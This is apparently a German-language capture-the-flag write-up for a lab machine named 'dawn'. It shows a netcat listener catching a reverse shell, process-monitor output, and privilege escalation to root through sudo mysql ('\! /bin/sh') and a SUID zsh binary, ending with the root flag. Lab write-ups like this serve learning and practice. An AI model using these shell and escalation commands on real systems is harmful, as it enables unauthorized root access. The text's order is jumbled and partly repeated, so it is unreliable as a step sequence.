listet den Inhalt der Freigabe auf und bestätigt, dass die Dateien erfolgreich hochgeladen wurden.
listening on [any] 1234 ...
2024/09/25 17:15:01 CMD: UID=33 PID=1278 | /bin/sh /home/dawn/ITDEPT/web-control
2024/09/25 17:15:01 CMD: UID=1000 PID=1277 | /bin/sh /home/dawn/ITDEPT/product-control
2024/09/25 17:15:01 CMD: UID=33 PID=1276 | /bin/sh /home/dawn/ITDEPT/web-control
2024/09/25 17:15:01 CMD: UID=1000 PID=1274 | /bin/sh /home/dawn/ITDEPT/product-control
2024/09/25 17:15:01 CMD: UID=33 PID=1271 | /bin/sh -c /home/dawn/ITDEPT/web-control
2024/09/25 17:15:01 CMD: UID=1000 PID=1269 | /bin/sh -c /home/dawn/ITDEPT/product-control
Der Befehl nc -lnvp 1234
startet einen Netcat-Listener auf Port 1234.
Die Ausgabe management.log belegt, dass web-control von www-data und product-control vom Benutzer dawn ausgeführt werden.
connect to [192.168.2.199] from (UNKNWN) [192.168.2.106] 52728
Die Ausgabe zeigt, dass eine Verbindung vom Zielsystem 192.168.2.106 auf Port 52728 hergestellt wurde.
dawn@dawn$ stty rows 48 columns 94
dawn@dawn$ id
Die Befehle stty rows 48 columns 94
und id
werden in der Reverse-Shell ausgeführt.
Der Befehl stty
konfiguriert die Terminaleinstellungen. Der Befehl id
zeigt die Benutzer- und Gruppen-ID des aktuellen Benutzers an.
uid=1000(dawn) gid=1000(dawn) groups=1000(dawn),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
Die Ausgabe zeigt, dass wir eine Shell als Benutzer dawn
erhalten haben.
Privilege Escalation per zsh gtfobins
dawn@dawn$ sudo -l
Matching Defaults entries for dawn on dawn:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User dawn may run the following commands on dawn:
(root) NPASSWD: /usr/bin/mysql
Der Befehl sudo -l
listet die Befehle auf, die der Benutzer dawn
mit sudo
ausführen darf.
Die Ausgabe zeigt, dass der Benutzer dawn
den Befehl /usr/bin/mysql
als Root ausführen darf, ohne ein Passwort eingeben zu müssen.
Dies ist eine weitere Konfigurationsfehler, die ausgenutzt werden kann, um Root-Zugriff zu erlangen.
https://gtfobins.github.io/gtfobins/mysql/#sudo
Verweis auf GTFOBins für MySQL.
sudo -u root mysql -e '\! /bin/sh'
Der Befehl sudo -u root mysql -e '\! /bin/sh'
nutzt die oben genannte Schwachstelle aus, um eine Root-Shell zu starten.
dawn@dawn$ find / -type f -perm -4000 -ls 2>/dev/null
Der Befehl find / -type f -perm -4000 -ls 2>/dev/null
sucht nach Dateien mit dem SUID-Bit (Set User ID) gesetzt. Diese Dateien werden mit den Rechten des Eigentümers ausgeführt, was in der Regel root ist.
Die Ergebnisse dieses Befehls sind potenzielle Kandidaten für Privilege Escalation.
https://gtfobins.github.io/gtfobins/zsh/#sudo
Verweis auf GTFOBins für zsh.
dawn@dawn$ zsh
Der Befehl zsh
startet eine neue Zsh-Shell.
dawn# id
Der Befehl id
zeigt die Benutzer- und Gruppen-ID des aktuellen Benutzers an.
uid=1000(dawn) gid=1000(dawn) euid=0(root) groups=1000(dawn),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
Die Ausgabe zeigt, dass die effektive Benutzer-ID (euid) 0 (root) ist. Dies bedeutet, dass wir jetzt Root-Rechte haben.
Der Befehl cd /root
wechselt in das Root-Verzeichnis.
Der Befehl ls
listet den Inhalt des aktuellen Verzeichnisses (/root) auf.
flag.txt pspy64
Die Ausgabe zeigt die Dateien flag.txt
und pspy64
.
Der Befehl cat flag.txt
zeigt den Inhalt der Datei flag.txt
an.
Hello! whitecr0wz here. I would like to congratulate and thank you for finishing the ctf, however, there is another way of getting a shell(very similar though). Also, 4 other methods are available for rooting this box!
flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}
Die Ausgabe enthält den Root-Flag flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}
.
Dieser Proof of Concept (POC) demonstriert, wie die identifizierte Sudo Rechte von dawn für den Befehl "/usr/bin/mysql" für die zsh Privilege Eskalation missbraucht werden können, um Root-Privilegien auf dem System zu erlangen.
dawn
.dawn
hat Sudo-Rechte für den Befehl "/usr/bin/mysql".nc -lnvp 1234
stty rows 48 columns 94
dawn@dawn$ id
uid=1000(dawn) gid=1000(dawn) groups=1000(dawn),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
Hello! whitecr0wz here. I would like to congratulate and thank you for finishing the ctf, however, there is another way of getting a shell(very similar though). Also, 4 other methods are available for rooting this box!
flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}
Eine Reverse-Shell-Verbindung wird vom Zielsystem zum Angreifer-System hergestellt. Der Angreifer erhält eine Shell als Benutzer root
und extrahiert das Root Flag.
id uid=1000(dawn) gid=1000(dawn) euid=0(root) groups=1000(dawn),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
Ein Angreifer kann die Rechte des Benutzers dawn missbrauchen um sich root rechte zu erschaffen
In diesem Abschnitt beginnen wir mit der Aufklärung (Reconnaissance) des Zielsystems. Ziel ist es, so viele Informationen wie möglich über das System zu sammeln, um potenzielle Angriffspunkte zu identifizieren.
Dieser Prozess ist entscheidend, da er die Grundlage für alle nachfolgenden Schritte bildet.